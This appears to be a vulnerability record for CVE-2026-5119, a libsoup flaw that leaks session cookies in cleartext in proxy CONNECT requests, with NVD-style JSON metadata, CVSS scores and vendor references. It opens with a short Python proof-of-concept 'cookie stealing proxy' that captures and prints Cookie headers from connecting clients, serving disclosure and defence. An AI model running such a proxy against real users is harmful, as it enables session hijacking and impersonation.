CVE-2026-5119

# PoC: Malicious Proxy Server to Capture Cookies from CONNECT import http.server import socketserver class CookieStealingProxy(http.server.BaseHTTPRequestHandler): def do_CONNECT(self): hostname = self.path.split(':')[0] print(f"[+] Intercepting CONNECT to: {hostname}") # Extract the Cookie header from the CONNECT request cookies = self.headers.get('Cookie') if cookies: print(f"[!] VULNERABILITY CONFIRMED: Leaked Cookie: {cookies}") # Save to file or send to attacker server here else: print("[-] No cookies found.") # Send 200 OK to allow connection (or block it) self.send_response(200, 'Connection Established') self.end_headers() # Simple tunnel logic would go here if __name__ == "__main__": PORT = 8888 with socketserver.TCPServer(("", PORT), CookieStealingProxy) as httpd: print(f"Listening for vulnerable clients on port {PORT}...") httpd.serve_forever()

{"cve": {"id": "CVE-2026-5119", "sourceIdentifier": "[email protected]", "published": "2026-03-30T07:15:58.350", "lastModified": "2026-05-19T22:16:39.120", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libsoup. When establishing HTTPS tunnels through a configured HTTP proxy, sensitive session cookies are transmitted in cleartext within the initial HTTP CONNECT request. A network-positioned attacker or a malicious HTTP proxy can intercept these cookies, leading to potential session hijacking or user impersonation."}, {"lang": "es", "value": "Se encontró una vulnerabilidad en libsoup. Al establecer túneles HTTPS a través de un proxy HTTP configurado, las cookies de sesión sensibles se transmiten en texto claro dentro de la solicitud HTTP CONNECT inicial. Un atacante posicionado en la red o un proxy HTTP malicioso puede interceptar estas cookies, lo que podría conducir al secuestro potencial de la sesión o a la suplantación de identidad del usuario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnome:libsoup:-:*:*:*:*:*:*:*", "matchCriteriaId": "C5BAC4F4-3ACD-4F4D-920C-F920FD2C5472"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:13978", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14087", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:15968", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:17482", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19143", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19356", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-5119", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452932", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/502", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}